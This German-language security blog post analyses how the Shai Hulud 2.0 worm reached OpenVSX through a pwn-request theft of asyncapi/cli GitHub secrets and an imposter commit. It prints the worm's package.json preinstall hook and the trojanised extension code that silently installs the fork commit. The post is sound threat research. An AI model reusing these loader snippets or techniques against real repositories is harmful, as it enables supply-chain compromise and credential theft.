Aikido

Shai Hulud 2.0: Was der unbekannte Wanderer uns über das Endspiel der Angreifer verrät

Charlie EriksenCharlie Eriksen
|
#

Die Geschichte von Shai Hulud 2.0 enthält weitere Wendungen und Verzweigungen, die wir hervorheben möchten, da wir zum ersten Mal gesehen haben, wie es in mehrere Ökosysteme migriert ist. Bei der Untersuchung haben wir bedeutende neue Informationen aufgedeckt, die tiefere Einblicke in die Schritte der Angreifer geben. Hier sind einige Höhepunkte unserer Erkenntnisse:

  • Die erste Verbreitung des Wurms begann bereits am 23. November 2025, 23:36 UTC, als die Angreifer eine bösartige Version der asyncapi/asyncapi-preview Erweiterung auf OpenVSX.
  • Während der ersten Angriffswelle benannten die Angreifer ihr GitHub-Konto um in UnknownWonderer1

Wenn ich mit Journalisten über die S1ngularity- und Shai-Hulud-Vorfälle gesprochen habe, war die große unbeantwortete Frage immer: Was ist das Endziel der Angreifer? Monatelang hatten wir nicht viel, womit wir arbeiten konnten, nur Vermutungen und Intuition.

Doch dieses kleine, von der Lore inspirierte Detail bestärkt tatsächlich eine Theorie, die ich von vielen Forschenden gehört habe: dass diese Angreifer nicht nur aus Spaß oder Profit Chaos verursachen. Sie versuchen auch, eine Botschaft zu senden. Es ist die Art von „Seht, wie zerbrechlich eure Welt wirklich ist“-Energie, die auftaucht, wenn jemand denkt, das Ökosystem sei zu vertrauensselig, zu automatisiert und zu leicht zu durchdringen geworden.

Ob das nun echte Motivation oder nur ein theatralisches Selbstbild ist, spielt keine Rolle. Das Ergebnis ist dasselbe: ein Angriff, der nicht nur zur Verbreitung konzipiert ist, sondern uns auch dazu bringen soll, die unbequeme Wahrheit zu konfrontieren, dass wir etwas zu selbstbewusst in Systemen geworden sind, die weitaus brüchiger sind, als wir glauben möchten.

Der unbekannte Wanderer

Der Benutzername UnknownWonderer1 ist mit ziemlicher Sicherheit eine Referenz an die Zensunni-Wanderer aus Dune. Dies waren nomadische Menschen, die Jahrtausende lang durch Welten zogen, vertrieben und weitgehend unbemerkt von den Mächtigen.

Im Laufe der Zeit wurden diese Wanderer zu den Fremen; der einzigen Kultur, die wirklich im Einklang mit Shai-Hulud, den großen Sandwürmern von Arrakis, stand. Wenn man das mit Malware paart, die buchstäblich Shai Hulud genannt wird, sieht die Referenz nicht mehr zufällig aus. Es wird zu einer von Dune inspirierten Symmetrie: der Wanderer, der sich über den Sand bewegt, und der Wurm, der leise unter ihm tunnelt.

In der Dune-Lore repräsentieren die Zensunni Menschen, die außerhalb offizieller Strukturen leben und übersehen werden, bis ihre Widerstandsfähigkeit ganze Zivilisationen umgestaltet. Es ist nicht schwer zu erkennen, warum diese Bildsprache einen Angreifer ansprechen könnte, der sich durch eine moderne Software-Lieferkette schleicht.

Indem sie diese Identität annehmen, stellen sich die Angreifer als eine ähnlich unsichtbare Präsenz im Ökosystem dar, die zwischen Repositories, Konten und Paketen treibt, ohne Aufmerksamkeit zu erregen.

Diese Rahmung deutet sogar auf eine mögliche Motivation hin. Sie suggeriert jemanden, der sich als Außenseiter sieht, der ein System herausfordert, das er als zerbrechlich oder selbstgefällig betrachtet, oder vielleicht einen Wanderer, der Schwachstellen in einer Umgebung aufdeckt, die ihn unterschätzt hat.

Und die Metapher passt unheimlich gut zum Verhalten der Malware: leise, hartnäckig und aus den blinden Flecken heraus agierend, die niemand überprüft. All dies lässt den Benutzernamen weniger wie eine zufällige Wahl erscheinen, sondern vielmehr wie einen Einblick, wie die Angreifer ihre Rolle und ihren Einfluss sehen. Dieses Sprichwort, zugeschrieben The Zensunni Whip, scheint irgendwie relevant und vorausschauend zu sein:

Man kann eine Marionette nicht mit nur einer Schnur manipulieren.

Ausbreitung in OpenVSX

Am 23. November 2025 um 23:36 UTC wurde eine neue Version der asyncapi/asyncapi-preview Erweiterung auf OpenVSX veröffentlicht, die den Shai Hulud 2.0-Wurm installieren würde. Die Art und Weise, wie sie eingeführt wurde, war sehr hinterhältig und verdient eine genauere Betrachtung. Hier ist ein Schritt-für-Schritt-Überblick, wie sich der Angriff entwickelte. 

Schritt 1 – Exfiltrations-Fork vorbereiten

Am 22. November 2025 um 16:06 UTC erstellte der Angreifer vskpsfkbjs auf GitHub einen Commit in einem Fork des asyncapi/cli Repositorys. 

https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1

Darin sehen wir, wie sie ein Skript modifizieren, das von einer ihrer GitHub Actions verwendet wird, um die lokale Git-Konfiguration an einen webhook.site Endpoint. 

Fällt Ihnen auf, dass es heißt, es gehöre zu einem Fork außerhalb des Repositorys? Das ist wichtig. Denn dies ist ein klassisches Beispiel für einen „Pwn Request“. Es wird ausschließlich im Angreifer-Fork des Repositorys verbleiben, aber später aus dem asyncapi Repositorys.

Schritt 2 – Angriffs-PR vorbereiten 

Als Nächstes, am 22. November 2025 um 16:29 UTC, sehen wir, wie der Angreifer einen Branch in seinem Fork namens patch-1

https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901

Hier gibt es ein paar Dinge, die erwähnenswert sind:

  • Beachten Sie, dass sich der Benutzername von vskpsfkbjs zu UnknownWonderer1geändert hat. Es scheint, dass der Angreifer sein GitHub-Konto umbenannt hat. 
  • Der Commit scheint nur Textänderungen zu enthalten.

Das ist verwirrend, oder? Warum nur Textänderungen? Die Antwort liegt darin, wie der GitHub Actions Workflow abläuft. Da die anfälligen GitHub Actions den Code aus dem Fork auschecken, der zusammengeführt wird, ziehen sie auch die bösartige Version der Datei ‎.github/workflows/changeset-utils/index.js, die die Angreifer bereits mit ihrer Exfiltrations-Payload vorbereitet hatten. Diese bösartige Datei wird dann im Kontext des offiziellen Repositorys ausgeführt und exfiltriert deren GitHub Secrets. 

Schritt 3 – Exfiltrations-PR einreichen

Als Nächstes, am 22. November 2025 um 16:38 UTC, reicht der Angreifer einen PR in das offizielle Repository ein, um seine Exfiltrations-Payload auszulösen. Wir sehen Beweise dafür in der SonarQube Cloud-Historie:

https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

Zu diesem Zeitpunkt wird seine bösartige Payload ausgeführt worden sein und den GitHub-Token an seinen Exfiltrationspunkt gesendet haben.

Schritt 4 – Beweise verbergen

Zu diesem Zeitpunkt wird der Angreifer die GitHub-Tokens für das Repository exfiltriert haben. Nur 2 Minuten und 44 Sekunden später, um 16:40 UTC, schloss er seinen Pull Request, um seine Spuren zu verwischen. 

Schritt 5 – Wurm bereitstellen

Am nächsten Tag, am 23. November 2025, um 22:56 UTC, erstellten die Angreifer einen Commit (wahrscheinlich in ihrem Fork), der anscheinend von GitHub Actions erstellt wurde. Der Commit löscht alle Dateien im Repository außer package.json und fügt den Wurm hinzu. 

https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

Die Datei package.json wird geändert, um den Wurm einfach auszuführen:

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

Schritt 6 – Bösartige OpenVSX-Erweiterung bereitstellen

Schließlich wurde die bösartige OpenVSX-Erweiterung am 23. November 2025, 23:36 UTC, bereitgestellt. Hier ist der bösartige Code, den sie in den Aktivierungscode für die Erweiterung eingefügt haben:

  console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
      try {
        0;
        const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
          detached: true,
          stdio: "ignore"
        });
        if ("function" == typeof e.unref) {
          e.unref();
        }
        e.on("error", e => {});
      } catch (e) {}

Das sieht nicht so verdächtig aus, oder? Es scheint so einfach zu sein, das AsyncAPI CLI-Paket von einem bestimmten Commit im offiziellen Repository zu installieren, was sicher sein sollte. Aber das ist es nicht. Es bezieht sich auf den oben genannten bösartigen Commit, der in einem Fork existierte, nicht im offiziellen Repository. Schon verwirrt? 

Commit-Verwirrung? Repository-Verwirrung? 

Als wir den oben genannten „bösartigen“ Code zum ersten Mal sahen, waren wir fassungslos. Wie konnte es unsicher sein, ein Paket aus einem legitimen GitHub-Repository zu installieren? Die Antwort sind Imposter Commits, eine wenig bekannte Eigenschaft von GitHub. Wenn jemand ein Repository auf GitHub forkt, können alle Commits im Fork auch über den Commit-Hash über das ursprüngliche Repository aufgerufen werden. Nur durch die Anzeige des Commits in der GitHub-Benutzeroberfläche erhalten Sie einen Hinweis darauf, dass etwas nicht stimmt:

Dieses Verhalten ist wirklich kontra-intuitiv und nicht sehr sicherheitsfreundlich. Denn wenn Sie einen Befehl wie npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d, erwarten Sie, dass er Code aus dem asyncapi/cli-Repository installiert. Nicht einen Commit in einem Fork, der nicht einmal mehr existiert. Diese Art von Angriff könnte als eine Repository Confusion -Schwachstelle betrachtet werden. 

Anhang – Detaillierte GitHub-Zeitleiste

Zeitstempel (UTC) Δ Zeit Phase Aktion Bedeutung
16:06:02 Aufklärung fix-typos-Branch auf persönlichem Fork erstellt Initiales Setup; Benutzer bereitet Arbeits-Branch vor
16:06:27 +0:25 Aufklärung PR #1 auf Fork erstellt (aus Kommentardaten abgeleitet) Testen des PR-Workflows im eigenen Repository
16:07:16 +0:49 Testen PR #1 auf Fork geschlossen Experimentieren mit der PR-Mechanik
16:08:25 +1:09 Testen PR #1 auf Fork wiedereröffnet Fortsetzung des Workflow-Tests
16:09:06 +0:41 Testen Push auf den Master-Branch Direkter Push auf den Master des Forks
16:09:21 +0:15 Testen PR #1 erneut geschlossen Testzyklus wird abgeschlossen
16:19:10 +9:49 Vorbereitung Zweiter Push auf Master Fork mit Änderungen synchronisieren
16:19:40 +0:30 Automatisierungs-Trigger github-actions Bot kommentiert PR Auto-Changeset-Workflow aktiviert
16:29:26 +9:46 Staging Push auf neuen patch-1 Branch Payload für Upstream-Einreichung vorbereiten
16:38:05 +8:39 Ausführung PR #1903 auf asyncapi/cli geöffnet 🚨 Versuch einer Upstream-Contribution
16:40:49 +2:44 Rückzug PR #1903 vom Autor geschlossen Entfernen des PR, um Spuren zu verwischen
4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.